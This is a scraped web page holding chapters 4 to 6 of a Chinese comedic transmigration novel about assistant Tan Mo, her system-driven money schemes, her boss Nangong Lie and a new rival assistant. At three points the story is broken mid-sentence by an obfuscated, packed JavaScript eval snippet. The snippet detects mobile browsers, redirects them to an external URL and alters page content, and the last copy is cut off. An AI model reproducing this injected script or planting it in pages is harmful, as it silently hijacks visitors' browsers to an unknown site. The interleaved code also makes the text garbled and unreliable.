尽管来的路上,她忏悔了一路。 鉴于自己已经辞了职,谭茉又厚着脸皮投了简历,但还没有HR来找她聊。所以谭茉打算先来公司,试试能不能遇到南宫烈,先把那句话说了。 “你好,请问你也是来面试的吗?” 一道清澈的声音在谭茉耳边响起,谭茉转过身,映入眼帘的就是扣得一丝不苟的挺阔白色衬衫,系着窄长的黑色领带,目光往上是清晰的下颌线,在白润肌肤的衬托下,恰到好处的唇形有着玫瑰色的光泽。 微垂的浅色瞳眸流露出淡淡笑意,他给谭茉一种干净又乖巧的男大学生的感觉。 谭茉确实准备来面试来着,但人家没给这个机会啊。 而且听他这话问的,一猜就知道他是来面试的,那就是竞争对手了。这显得谭茉有些暗淡,心里不好受,就连这帅哥的笑容都觉得刺眼。 谭茉只觉得眼前人的这双眼睛有些似曾相识,但一时半会儿没想起来。 她套话问:“你来面试什么岗位?” 傻白甜男大:“总助,总裁助理。” 谭茉像是被刺中一箭,原来公司已经在招聘她的替代品了,看来她在这个岗位面试成功不太可能,但如果不做南宫烈的助理,又有什么好的岗位可以随时靠近南宫烈赚钱呢? 有些伤脑筋。 正说着,有个穿着职业装的工作人员匆匆赶来,她似乎对于谭茉为什么出现在这里并不惊讶,但她还是假装很惊讶地问:“呀,谭助理,你怎么在这?” 她好像确实不该在这,谭茉心想,但还是厚着脸皮点点头。她犹豫着要不要继续厚着脸皮问问看没看见她昨天投的简历。 反正来都来了,要不趁着时间面一个试。 “原来你不是来面试的。”旁边的清纯男大说。 “你是?”赶过来的人是隆盛集团的HR,翁美德问。 清纯男大微笑,主动介绍;“你好,我是陆行简,今天按照约定,来面试总裁助理的。” “哦哦,我记得,就是我在招聘软件上和你聊的。”HR拉过谭茉说,“她也是总裁助理,我们南宫总裁最器重的一个助理。” “那她……怎么会在这?” 面对质疑,谭茉有些囧,这怎么说呢?说她辞职后故地重游? “公司机密,怎么可以随便说?”翁美德的小脑袋瓜转得比谭茉快,随后掩嘴对谭茉轻声说:“我懂,谭助理。” “哦。”陆行简拖着长音,回过味来,“我也懂了。” 谭茉有些懵:……你们懂什么?怎么就她不懂。 翁美德语重心长地教训陆行简:“小陆啊,虽然我们之前已经线上面过试,我对你的实力也很认可。但是在工作上还是要向谭助理学习,她为南宫总裁那可是鞠躬尽瘁,忠心耿耿,呕心沥血……” 正当翁美德就像报菜名一样报成语的时候,谭茉在公司一楼大堂见到了心心念念的南宫烈和许小念,他们两个似乎在激烈争吵。 系统爬上来,急切地说:“南宫烈和许小念正在吵架,现在就是好时间,快冲进去说。” 谭茉二话不说就冲进去。 “诶,谭助理,你干嘛去?”翁美德喊道,见她是冲着南宫烈走过去,她也拉着陆行简进去,“你看看,做助理就是要眼里有活,对老板无条件的服务。” 当他们走进大厅的时候,只听到谭茉大喊:“许小姐,南宫少爷是真的不爱你,老奴天天看见他发脾气。” 大家都被那句“老奴”震惊了。 翁美德:…… 陆行简:…… 他恍然大悟:“原来是这种全方位的服务。我会好好学习的。” 翁美德:……倒也不必如此。 4. 发疯第四天 大概是一句“老奴”太过震惊,大厅里包括南宫烈和许小念在场的十几个人都愣在当场。 谭茉才不管,忙问系统:“好了吧,现在可以升级了吧?有没有奖励?” “这怎么可以算?我明明让你说的是‘老奴已经好久没看见少爷这么笑了’。” “我虽然改了,但是达成的效果一样,你就知足吧。让我说原话是不可能的。”谭茉这辈子都不可能对南宫烈说这种话。 她厚着脸皮威胁,“你要是不给,那我就不玩了。反正每分钟10块钱的单价也能凑活着用。” 系统在选中谭茉前,见过很多其它各种各样的宿主,他们有个共同点:很听自己系统的话。怎么到了它这,宿主尽出骚操作。 怪自己看走眼。 系统无奈地妥协:“好吧。” 随后,谭茉就听到美妙的叮咚声——“恭喜宿主完成升级任务,并获得奖励10万元。” 10万! 我靠,谭茉还是第一次这么短时间内就赚到这么多钱。 要不是还有人,她都要激动得蹦起来。 谭茉只好捂着嘴,笑得浑身发颤。 愣了半晌的南宫烈最先回过神,他将满腔怒火冲着谭茉发作:“谭助理,饭可以乱吃,话却不能乱说。你哪只眼睛看到我天天发火,不爱小念?” “你知不知道这样的行为会让小念对我造成误解。” “够了!”许小念打断南宫烈,“谭助理说错什么了?她只是个助理,懂什么?” 谭茉越听越怪,怎么感觉许小念这话说的和‘他只是个孩子’如出一辙。 “你没看到她浑身都在抖,她很怕你。南宫烈,你别仗势欺人。” 正捂着嘴,害怕别人发现她发财的谭茉:…… 转而,她心里想的都是:对对对,许小念说的都对。 “你站到旁边去,这是我和南宫烈的事情,你别管。”许小念说。 “好好好。”正合她意。 谭茉依然站到旁边,深呼吸,憋住笑,然后迅速掏出手机,查看支付宝里新鲜到账的10万元,准确地说,应该是十万一千七百多。 要是全都换成纸钞,得很厚的两块板砖吧。 娘咧,她还没摸过这么多钱。 谭茉乖乖地站在旁边后,南宫烈和许小念的争吵再次升级,由刚才的语言质问到底爱不爱我,变成了许小念的‘我要走,你放开我’,南宫烈的‘你不准走,我不允许’的肢体冲突。 许小念扯着南宫烈的手,“你根本就不爱我,为什么不放我走,你快放手。” 南宫烈进一步加强桎梏,“你居然叫我南宫烈,而不是像以前那样喊我烈,不爱的人是你!” 拉扯的幅度很大,像故意被摇晃起来的软塌塌绳桥,不知道哪个环节出现断裂,南宫烈的手化作长鞭,向后一扬。 清脆地啪嗒一声,应声而落,谭茉的手机被打落在大理石地面,手机屏幕瞬间变黑。 同样清脆的还有谭茉的心脏,碎成渣渣。 “苍天啊……”她的手机,她的财产,她的心肝。 也不知道是不是因为谭茉的这句话喊得太过凄厉,大家都有些同情,大堂内安静得针落可闻。 “南宫烈……”谭茉咬牙切齿地喊,气得拳头都硬了。 南宫烈忽然觉得自己的后背凉飕飕,大事不妙。 * “淑惠,我的小淑惠,英年早逝了……”短短几分钟,谭茉就体会了什么叫乐极生悲。 看着谭茉痴痴凝望着被摔成板砖、毫无反应的手机,自言自语的样子,办公室其他几个同事都掬了一把同情的眼泪。 “可怜见的喂,谭助理这么勤俭持家的一个人,手机摔碎了还不等于杀了她。” “要不是我马上去拦着,她就要冲上去咬南宫少爷了。那个眼神,恨不得咬下一块肉。”翁美德绘声绘色地描述着大厅里发生的事情,说完,心有余悸地喝了口温水。 “说真的,你干嘛拦着谭助理,我要是谭助理,也恨不得咬一口。神经兮兮的老板,在公司大堂和女朋友拉拉扯扯也就算了,反正丢的也是他的人,他的公司。可是摔烂别人手机算什么!” “就是,现在手机这么重要,旅游视频,自拍,家人的照片全在上面,还不一定有备份。而且现在各种密码,我记都记不牢,这都不是重买新手机的事。” “完全耽误事情,想想就烦。” “啊呀,毕竟是在公司,大庭广众,光天化日的,我总不能让场面太难看啊。”翁美德说,“要是像上次在夜里,就公司几个人,就算谭助理把南宫少爷打成猪头,我肯定不会拦的。” 说起那晚的事,几个同事都偷偷笑起来,打趣道:“是不是上次谭助理打他打得太狠,所以他才这么快逃走?生怕再被打。” 翁美德想起早上把谭茉拉开后,本来要回办公室的南宫烈落荒而逃的滑稽样子,她又笑起来,“有可能的,你们都不知道,当时南宫烈往外走的时候都差点摔倒!” “咳咳。”有人用力地咳了咳嗓子,提醒自己的存在。 原本还想八卦几句的翁美德停住嘴,转头看向里头的办公室,她站起来说:“好了?林助理?” 林瑜点点头,“我面试完了,下一个是谁去面他?” 隆盛公司是星辉集团旗下的一个子公司,主营餐饮。 南宫雄为了锻炼自家孙子,目前由刚从国外历练回来的南宫烈担任隆盛的总裁职位。 为了辅佐他,南宫雄还从星辉集团调了个跟在他身边多年的老助理给他,并招聘了几个实习助理。 实习助理来来回回招聘了七八个,但都熬不过南宫烈的折腾,实习期一过他们就离职走人。 按道理,面试新的实习助理应该由老助理出面,但老助理大概是觉得南宫烈实在是上不了台面,不仅吃力不讨好,还对自己的晋升毫无帮助。 新招聘了谭茉和林瑜后,他就拍拍屁股走人,回星辉了。 原本翁美德今天安排的面试人员是林瑜和南宫烈,但南宫烈跑路了…… “还能有谁,谭助理上呗。” 正抹着红眼眶,准备走人的谭茉:??怎么个事?我离职了哇! 因为手机被摔碎实在是太突然,谭茉还处于愤怒和懵逼中,就这样糊里糊涂地被翁美德带回了办公室。 她并不是个长期沉溺于悲伤情绪的人,她的情绪来得快,去得也快。 现在情绪走了,谭茉自然也要走。 面对手机摔碎的既定事实,该如何去处理这件事对谭茉来说更重要。 但她没想到会被翁美德拦下。 翁美德拉着谭茉到角落,小声问:“谭助理,你那个任务完成得怎么样了?可以结束了吗?” “啊?” 翁美德啧了一声:“都到这份上了你还给我装,我都配合你多久了。别以为我不知道你这么久没来上班的原因。” “对啊,”谭茉懵懂地说:“是因为我……” “因为你 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14886096|159897||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 被上面委派了任务是不是?”翁美德以揭穿了谭茉真面目后洋洋得意的口吻说。 “昨天你投的那份简历,不就是想测试测试我们上班有没有摸鱼,是不是在认真工作嘛!”翁美德笃定地说,“人力资源部其它同事还不相信,幸亏好我早上就出来迎接你。” 她晃了晃谭茉的胳膊:“怎么样?我还算兢兢业业吧,你帮我跟上面说说好话嘛!现在谁不知道比起南宫烈,上面更器重你。” “我能不能有双倍的年终奖可都靠你了。” 谭茉忽然明白了什么,又问道:“那我的辞职……” “什么?”谭茉还没说完,又被翁美德打断,“不愧是我们鞠躬尽瘁的谭助理啊,做戏都要做全套。你是忘了还是故意要考考我?辞职信都是要经过你这个助理的啊,你不通过,谁会知道?” 原来如此。 谭茉忽然意识到自己辞职这件大乌龙的事竟然以某种奇怪的方式自圆其说了。 都怪她穿书的姿势和时间不对,还没有摸透总裁助理这个职位的具体工作内容,全被南宫烈这个癫公喊去干苦力。 那天晚上辞职也是有些冲动,她递上辞呈后就把关于公司的内部管理软件都删了。 “那这些天你们怎么没联系我?” “诶哟,你在做大任务,谁敢联系你。而且大家都不喜欢联系同事好嘛!” “很好,我喜欢你们这种谁也不理的工作态度。”谭茉表示赞扬。 “那就这么说定了,到时候你帮我美言几句。” 谭茉到现在都不太清楚‘上面’指什么上面,但这种时候纠结这个不重要,重要的是义气。她大力地点头:“当然当然,我能重回岗位,少不了翁助理的胡思乱想……” “想……想抱你。” 翁美德:…… “谭助理,你的中二病越来越严重了。”翁美德认真地说。 “是吧……这样才显得年轻嘛。不过说真的,这么久不见,我真的想美德姐了。“谭茉伸出双臂,轻轻抱了抱翁美德。 翁美德比谭茉大十几岁,鼻子有些酸:“你这人,是不是嫉妒我的美貌,故意让我哭,好让我的眼妆花掉,这样我就变丑了。” “哪有的事。” 她们相互抱了抱,翁美德言归正传,“好了,既然你今天回来上班,那现在有件棘手的事要你去处理。” 这件棘手的事当然是面试陆行简这个新人。 里间的小会议室,也就是今天的面试间,谭茉和陆行简隔着张长条桌,面对面坐着。 翁美德向陆行简介绍:“小陆啊,之前和你介绍过了,这是我们的公司的谭茉谭助理,也是南宫少爷和南宫董事最器重的助理,今天由她来给你最终面试。” 陆行简脸上总是带着和善的笑意,点点头;“看来早上的偶遇是谭助理的小测验了。不知道谭助理对我是什么印象。” 翁美德并不知道这个所谓的偶遇是什么,她过去的时候,这两人早站在一起,她看向坐在椅子上严肃又气定神闲的谭茉。 谭茉不自觉地挑了挑眉,能有什么印象。 但是林瑜和翁美德倒是对这个陆行简颇为喜欢,说他这个人不仅专业知识扎实,而且知礼谦逊。 翁美德还告诉谭茉,之前南宫烈对这个候选人点了首肯,今天的面试不过是查漏补缺,谈谈薪资待遇,更多的就是走个流程。 “印象?”谭茉认真地观察陆行简这张脸,最后说,“你挺帅的。” 翁美德:…… 5. 发疯第五天 翁美德着急地咳了咳嗓子,凑到谭茉耳朵边上,咬牙切齿,“谭助理,现在可不是耍流氓的时候,你得认真点。” 谭茉看着陆行简的简历,无力地叹了口气,她还能怎么认真? 上面写着陆行简:三岁就会五国语言,六岁钢琴十级,八岁跆拳道黑带,十岁成为顶级黑客,哥伦比亚大学本硕毕业后,也只比谭茉小了一岁。 简直是天才宝贝一样的存在。 而原主确实也很优秀,是985本科,没读研究生。在校期间拿到过奖学金,还积极参加了各种比赛,成绩也可圈可点,但对上陆行简的履历,她就算是坐火箭也追不上。 就像是年薪50万的工作和年薪70万的工作,只要是正常人都会选后者。 谭茉倒也不是自卑,而是客观对待。而且这怎么看都像是南宫烈想找人替代她。说不定过了半年,南宫烈就把她辞退了。 不管怎么说,陆行简都是她强劲的竞争对手。 她怎么可能会对自己的竞争对手有好印象。当然,这是在陆行简的简历是真的情况下。 陆行简听了谭茉的言语后,虽然吃了一惊,但还是保持得体的笑容,“谢谢谭助理对我外貌的肯定。作为老板的助理,外貌也是必不可少的评估,谭助理如此漂亮,能得到你的肯定是我的荣幸。” 竟然……回答地如此体面,还夸了她一把。果然是强劲的对手。 谭茉隐隐有危机感,犹豫了一会儿,终于问了出来:“你这个简历真的确定不是乱写的吗?” 实在是很离谱啊。 翁美德又咳了咳嗓子,低声说:“谭助理,你这是在怀疑我的工作能力。我早就核实过了。” 陆行简不慌不忙地说:“我知道很多人初次见到我的简历,都是谭总助这样的反应。说出来可能不信,语言学习,黑客技术,跆拳道像是我与生俱来的能力,我生来就会。每个人都有自己的天赋,只不过我的天赋更加被大众认可而已。” 虽然但是,还是好凡尔赛啊…… 谭茉又转念一想,自己的天赋是什么呢? 好像是抠门…… 想到这里,谭茉的心渐渐沉了下去,她好像已经看到了过不了多久,南宫烈就因为有了陆行简,而开了她的未来。 谭茉低落地说:“那你真的是奇人。” 陆行简心头一跳,有些紧张。 “既然你的简历没问题,专业也得到了大家的认可。那我……”谭茉振作精神,“就即兴问你几个问题。像做我们这行的,解决突发问题是家常便饭。” 谭茉想的是,简历比她优秀怎么了?她的随机应变能力未必不如陆行简。 她在南宫烈面前还是有机会的。 “对对对,助理有这种能力是很重要的,特别是……老板是南宫烈的时候。”翁美德回想着自家老板的奇葩往事,说。 陆行简欣然点头:“那是当然。” “那好,请听题:如果你和南宫烈总裁一起下班的时候,突然下暴雨,但南宫烈没有带伞,而你带了伞,有且只有一把。请问,你会怎么做?” 翁美德的眼睛唰地一下就亮了,不愧是谭助理,好刁钻的问题,真是为南宫总裁考虑周到。 随后,她看向陆行简,只见陆行简依然端正坐着,临危不惧。 他不紧不慢地说:“我觉得不会遇到这种情况,因为南宫总裁是开车下班,而我,坐!地!铁!” “哇哦!”翁美德轻呼,没想到陆行简竟然能以这样巧妙的角度,避开这个刁钻的问题。 “如果是南宫总裁也想坐地铁呢,毕竟下班开车会堵车,肯定会遇到这种问题,不准给我逃避。” 陆行简盯着谭茉,不自觉加快了语速:“当然是给南宫总裁,我只是助理,理应维护好总裁的外貌形象。” 好一个马屁,哼。 谭茉步步紧逼,“第二题,请问窗外的花为什么这么红,草为什么这么绿,天为什么这么蓝?” 陆行简眉头轻锁,有些为难。 翁美德咬着谭茉的耳朵说:“够了吧,谭助理,这个问题已经涉及到科学研究,不是三两句话就能说清的。哪个变态老板会问这种问题。” “南宫烈啊。”谭茉理所当然地说。 这是系统和她说的,鉴于谭茉从没看过《天价小娇妻:99次出逃》这本书,而且这本书足足有300多万字,谭茉也懒得看,系统就和她举例了一些南宫烈令人发指的行为。 这个问题就是其一,当初原主也被折磨得不轻。 谭茉看了眼墙上的钟,她一副胜券在握的心思。 她对陆行简说:“别怪我没有提醒你,已经过去三十几秒了。要是超过一分钟……” “不需要。”陆行简截住谭茉的话,说,“这个回答可以有很多种,我只是在思索应该是哪一种回答。” “现在我就可以告诉你。花儿之所以这么红是因为有花色苷的色素;草之所以这么绿,是因为有大量的叶绿色;而至于天空,是因为大气层中光线散射的原理。” 谭茉嘴角露出淡淡的笑意,她觉得陆行简输定了,“请注意看题目,我说的是‘这么’,强调了程度。” “大概是因为谭助理平时工作压力大,只能待在办公室,又或者是谭助理太想念某人了,这是你向往野外自由的一种艺术表达。在我和翁经理眼里,并没有太大区别。” 谭茉的笑意僵在脸上,因为陆行简的回答和当初原主回答的差不多。一开始她也是对南宫烈进行科学解释,但南宫烈依旧臭着脸,不满意,原主才点明的是南宫烈太想找许小念出去玩。 南宫烈这才表示满意,然后正大光明溜班,去找许小念了。 这说明原主的解题思路是对的。 她很想说陆行简是胡说八道,但这样说出口,不就代表着她否认了原主,也代表她是个人品低劣的人吗? 谭茉做不出来这种事。 面对陆行简的优秀表现,她越来越严肃。 “怎么样,谭助理,问到现在,陆行简这个新人很不错吧,你还有什么要问的吗?”翁美德拉住她的手问。 “最后一个。”对手实在是强大,谭茉越来越没底气,腿都有些发软。 她想要站起来,只能扶着翁美德的手,说:“请问《西游记》原著中,孙悟空有多少根毫毛。” 她就不信谁能回答得出如此偏门,如此细节的问题。 果然谭助理眉头紧锁,似乎是被谭茉问到了。 周围的空气仿佛被抽走,翁美德紧张得快不能呼吸,鼻尖都冒出密汗,好像自己在决定生死的高考考场上! 而谭茉紧盯着墙上的时钟,她倒数:“十…九…八…七…六…” “八万四千——”陆行简拖着长音。 “你确定吗?”谭茉欺身逼近。 其实陆行简也不是很确定,能大概知道个数字已经很不错了,所以报出这串数字也不是很有底气。 谭茉表现得镇定,装作面无表情,但在一瞬间,陆行简没有错过她眼中一闪而过的狡黠。 他忽然想到了什么,脱口而出:”——零三根,八万四千零三根!” 话音刚落,时钟的秒针刚好划过了数字12,此局输赢已落定尘埃。 谭茉败落,跌坐回椅子。 翁美德不理解地问:“为什么还多出3根啊?” “因为那是观音菩萨后来给孙大圣的救命毫毛!”陆行简激动地说。 “天啊,我真的是老了,居然连这个都忘了。”翁美德懊恼地拍了拍脑门,“不过话又说回来,谁会记得这个,谭助理,你出的题目好鬼哦!” 就是因为鬼,所以才更崩溃。 陆行简居然连这种题目都回答得出来,他还是人吗? “怎么样?谭助理,三个问题都问完了,陆行简这个员工优秀吧?能胜任总裁助理岗位吧?” 谭茉像是比武被吸干了精气,瘫坐在凳子上,缓慢地点头:“优秀,优秀。” 优秀到取代她也是指日可待。 系统怜爱地呜咽:“呜呜呜,可怜的宿主,刚回来上班,又要担心失业了。” “听到了吧,小陆。连谭助理都夸你呢。”翁美德赞许连连。 陆行简稍显青涩,脸红地说:“谭助理比我优秀太多,我还要向她学习。” 那边已经开始商业互捧,谭茉无力地站起来,想要离开让她伤心的面试间。 刚踏出面试间,就听到陆行简说:“不用下个礼拜上班,我现在就可以上班。” 谭茉一趔趄,差点跌倒。 完蛋了,智商比不上人家,以勤补拙也没戏了。 * “呜呜呜呜,谭助理,这些天你都到哪里去了。你不在,知道我单独面对南宫烈的日子有多苦吗?” “你要是再不来,我都打算过两天辞职了。” “看看我的脸,又 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14886097|159897||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 黄又暗,这都是加班加的。”林瑜在外面还能强装老成持重的精英上班族,等谭茉一回到总助办公室,她就变成了‘被抛弃的可怜软萌姐妹”人设,向谭茉诉苦。 “听你这意思,我在你眼里就是个陪你加班的。” “当然不是!你还是我的吃饭搭子,奶茶搭子,厕所搭子,吐槽搭子。我的上班生活根本离不开你。你不在的那几天,我就跟失恋一样,整天唉声叹气,感觉活着都没意思。你知道我有多想你吗?”林瑜惨兮兮地卖惨。 有时候人与人的缘分就是很奇怪。 原主和林瑜是同一天面试,同一天上班,干的还是同个岗位的工作,但是从见面的第一次起,她们两个就很合得来。 林瑜性子软,没什么主见,当初申请这个岗位的时候是觉得隆盛背靠星辉大集团,有保障,薪资待遇也还可以。 在卷生卷死的这个社会,她对升职加薪没什么欲望,最喜欢朝九晚五,摸摸鱼。她这样的人最适合打辅助。 而谭茉就强硬很多,遇事冲在前面,很能扛事。虽然也是间歇性的。偶尔想为实现人生价值,拼一下,但拼得太累,就会躺平;躺平躺多了,又想着拼一下。 刚好一个进攻,一个打辅助,两人都很满意对方。 但谭茉见到陆行简的第一眼,就像动物般警戒地立起尖刺,竖起獠牙,危机意识很强烈。 “我也想你。但我这不是为了考验考验你单独应对老板的能力吗?”谭茉前半句是真心话,后半句是睁着眼睛说瞎话。 话刚说完,林瑜就反驳:“不需要考验,我就是应付不了南宫烈。就算应付得了,我也不想应付他。” 谭茉:…… “好了,既然你回来了,我的奶茶也可以点起来了,两杯才到起送费。” “我来吧,我请你。”谭茉下意识摸了摸口袋,就记起自己手机被南宫烈摔坏的事。 她讪笑:“我的手机……” “我知道,有时候我真的怀疑大老板是不是有狂躁症。”林瑜把手机给她,“今天先用我的,过两天等你新手机到了,你再请我。” “好。”谭茉接过。 林瑜又哎呀一声,“我们是不是也要给新来的那个小陆也点一杯啊。我可是听说了,这个新来的同事很积极。” 谭茉停下手,看向林瑜。 林瑜唏嘘地说:“以后属于我们两个人的办公室突然来个新人,还不知道是不是和我们一派。如果不是,到时候八卦还要悄悄说。” 陆行简像是插入她们的第三者,林瑜替谭茉担心:“而且我觉得南宫烈招他进来,准没憋好屁。” 谭茉被她最后一句粗俗的话逗笑,对着林瑜的脑袋轻轻弹了一下:“不得了,果然我不在的日子你长进不少。” “那是~” 午饭后,翁美德就来总裁办公室,身后跟着的陆行简抱着一箱办公必备工具。 “谭助理,人我就交给你了,你……”翁美德本来想环视一圈,但一想到总裁办只有两个助理,她也就省去了这一步,直接钦点,“你就带带她,他就跟着你。” 这是意料之中的事情,谭茉点点头。 翁美德走后,谭茉就把电脑里的资料给陆行简拷贝了一份,并把南宫烈的行程安排也给了他。 “你刚第一天上班,熟悉公司章程最重要,一个礼拜内要搞清楚公司的流程,每个部门的职责,以后你都需要和部门领导对接工作。” 陆行简很恭敬,双手接过谭茉手里的资料,“我知道了,谭助理,我会尽快熟悉的。” 陆行简也和林瑜打了招呼,随后去了属于他的工位。 工作内容很多,陆行简按照自己的节奏熟悉流程,把不了解的问题都记在记事本上。等到疲惫地抬起头,窗外已经夕阳西下。 陆行简看了一眼手机,离下班时间只剩下半个小时,他还有好多事情要和谭助理说呢。 他焦急地起身,看到已经楼去人空的谭茉位置。 “谭助理呢?” 林瑜慢条斯理地准备下班所需物品:“她啊?” 离下班还有五分钟,翁美德走到总裁办,只看到正在关电脑的林瑜,没见到其他人。 “陆行简呢?他的工牌我都忘记给他了。” 林瑜不急不忙地说:“他啊?跟着谭茉去南宫烈家了。” 翁美德倒吸一口凉气,“喔唷,果然初生牛犊不怕虎,这种龙潭虎穴他都敢去!” 6. 发疯第六天 谭茉也不是故意要来闯这龙潭虎穴的,主要是南宫烈把她手机摔坏后,居然没有主动联系她,赔她手机。 这么抠的人,怎么好意思当霸总小说男主角的? 霸总小说的男主角不都是一撒就撒好几百万吗? 系统提醒她:“因为人家撒钱的对象是女主,你没有女主光环。” 顶着当牛做马,赚辛苦钱的打工人光环的谭茉:“我谢谢你啊。” 还有一点就是,就连林瑜都能感觉到南宫烈想要辞退谭茉,他都已经招到了替代谭茉的人,辞退只是时机还未成熟而已。 谭茉得在被辞退前疯狂靠近南宫烈,谁让他是这本书的主角,八卦的源泉。 系统告诉她:“除了听八卦,参与八卦,你也可以制造八卦。” 谭茉吓一跳:“你让我造谣?这不太好吧?” “宿主,你能不能把我说的话听完,再自由发挥?”系统清了清嗓子,骄傲地说,“我是正义的使者,是拯救癫公癫婆受害者的福星,我怎么会做违法的事情。我是让你在男女主面前多提提对方,只要他们的情绪有所波动,这样也可以赚钱的!” 就是因为这两个原因,谭茉才在快速处理完当天的工作后,拖着疲惫的身心来到了南宫烈的别墅前。 别墅位于郊区,如大多数古早言情小说描写的那样:豪华,广阔,拥有专人打理的私家游泳池,花园,草坪,以及视野超绝的全落地大玻璃。 也正因为是豪门别墅,距离最近的地铁站要走半小时。 “打滴也没人接单。”走累的谭茉轻声吐槽。 已经是晚上七点多,谭茉站在喷水池边,水声汩汩而流,她看着亮灯后的别墅宛如通体发光的荧玉,不禁感慨:“果然霸总就是有金钱魅力加持。” 有这房子,谁不想嫁霸总? “谭助理?”一道中年女人的声音打断了谭茉的幻想。 那女人从暗处走过来,惊喜道:“还真的是你?你都多久没来这儿?” “凤娟姨?”谭茉自然而然地叫出这个名字。 “快跟我走,你今天来得巧,高师傅做了他的拿手好菜,啤酒鸭,香得来。” 凤娟姨拉着谭茉就往副楼走,谭茉还没忘记自己的任务:“可是我是来找南宫总裁的。” “都几点了,还总裁。你肚子不饿吗?看你这个时间点过来就是没吃晚饭。” 还真是,为了赶积压许久的工作,谭茉午饭都没怎么吃,整个下午也就喝了杯奶茶,这个时候肚子也不争气地咕咕叫了两声。 凤娟姨咯咯笑了,”看来真是饿了。” 于是,脚下的步伐更是快了两步。 凤娟姨拉着谭茉来到副楼,这是供别墅里的工人吃饭睡觉的地方。 既然南宫烈是霸总,那他就有支撑着霸总日常生活系统运转的工人们,他们就像勤劳的工蚁,给南宫烈提供可口营养的一日三餐,干净整洁的房子,柔软清香的衣服,好让南宫烈维持有钱霸总人设。 刚一进到屋子里,吵闹就戛然而止,在看到谭茉之后,更是爆发出比之前还要热闹的声音。 “谭助理!我没看错吧!你最近都去哪里了?真是想死我们了!” 屋子已经坐着几个人,他们热情地招呼谭茉过来吃饭,帮她拿碗拿筷子。 “饮料要不要喝?可乐还是椰汁?” 就算是穿书之前,谭茉也没有这么热闹地和其他人一起吃饭。还没进屋之前,谭茉还担心和其他人吃饭会尴尬,于是让系统快点在书里翻找关于这些人的描写,她好提前熟悉熟悉。 哪晓得,关于他们的描述只是‘刘管家’‘李妈’‘司机王师傅’这样的称呼,充其量只是个工具人。 看来尴尬只存在于想象中,谭茉自来熟地说:“椰汁,可乐喝多了,饭就吃不下去了。” “好。”厨师高师傅一边给谭茉倒椰汁,一边催促道,“凤娟,洗个手这么慢?你是不是又偷偷刷视频,看帅哥了?还不快来吃饭。” 凤娟姨从厨房洗完手回来,她果然拿着手机,“老高,你耳朵这么灵光,我看什么你都知道。” 老高十分神气,“我还能不知道你?不就是看那个…那个…啊呀,我这记性。” 他想了一会儿,忽然灵光乍现,“胡嘉煜!” “你居然记得!” “那是。” 看着凤娟姨和高师傅一唱一和,谭茉忍不住问道:“胡嘉煜是谁?” “就是过年时候一部偶像剧男主角,妈呀,帅死。过了这么久,我还看不厌。” “谭茉,有人找你。”正说着,一道清脆的女声从身后传来,打断了凤娟姨。 谭茉循声朝后看,副楼的门再次被推开,只见打头来的人是个年轻女人,叫玲玲。 玲玲穿着保洁工作服,快走了两步,就露出身后的男人。 谭茉看清这男人长相后,有些吃惊:“你怎么过来了?” 陆行简很有分寸地停在四五步远的地方,乖巧答话:“我有一些工作上的事情来找你,那时候林助理说你刚出公司,我以为能赶得上。没想到……” 他的目光停留在饭桌上,露出抱歉的笑容:“是我考虑不周,那我明天去公司再找你好了。” “这是?”凤娟姨眯着眼睛,想把对方看清楚。 “不知道,我看他在大门前转悠,就把他带过来了。”玲玲用干净的筷子,连忙吃了两口菜。 谭茉说:“今天刚来报道的新同事。” “这么帅的同事啊。”凤娟姨低呼感慨。 见新同事转身要走,凤娟姨赶忙跑过去拉住他,“既然是谭助理的新同事,也就是我们的新同事。一起吃个饭再走。” “这位新同事,怎么称呼?”凤娟姨非常热情,情难自禁地抓着陆行简的手,紧得让陆行简不太适应。 他想甩开,但一想到这里都是未来的同事,他不能让对方面子挂不住,只好僵着手臂,向在座的其他人介绍自己:“大家好,我叫陆行简,总裁办的新助理,以后大家都是一起工作的同事了。” “诶呦,总裁办的?看来我们小陆年轻有为!”凤娟姨代表大家,拍手欢迎。 陆行简趁着这空档,连忙跑到谭茉身边坐下。 “小陆,坐我这边啊,我这边风景好。”凤娟姨喊。 高师傅摆手,“凤娟,你就别喊了。你现在就像蜘蛛精,你越喊,人家小陆越怕你。” “去你的蜘蛛精!” 大家哄笑,又各自吃起饭来。 谭茉身边就坐着陆行简,她没有办法忽略这个刚来的同事。他坐下后很安静,一般都是笑着听其他人说话,只有别人cue到他的时候,他才说几句话。 但谭茉发现他吃饭时候说话,竟然有点磕磕巴巴,和其它时间完全不一样。 别墅里的工人们很多时候干的是体力活,吃的饭菜也多是重油重调料,特别是高师傅在转型做私人厨师之前,是在菜馆里烧菜的,除了给南宫烈做菜的时候讲究少油少盐,营养健康,高师傅给自己做菜都是怎么好吃怎么来。 谭茉看到陆行简面对这一桌子菜的时候举步维艰,夹起一块后可以说是硬着头皮吃下去,但吃完后,他似乎是觉得很美味,又会再多夹几块。这时候,他吃着就毫无负担了。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 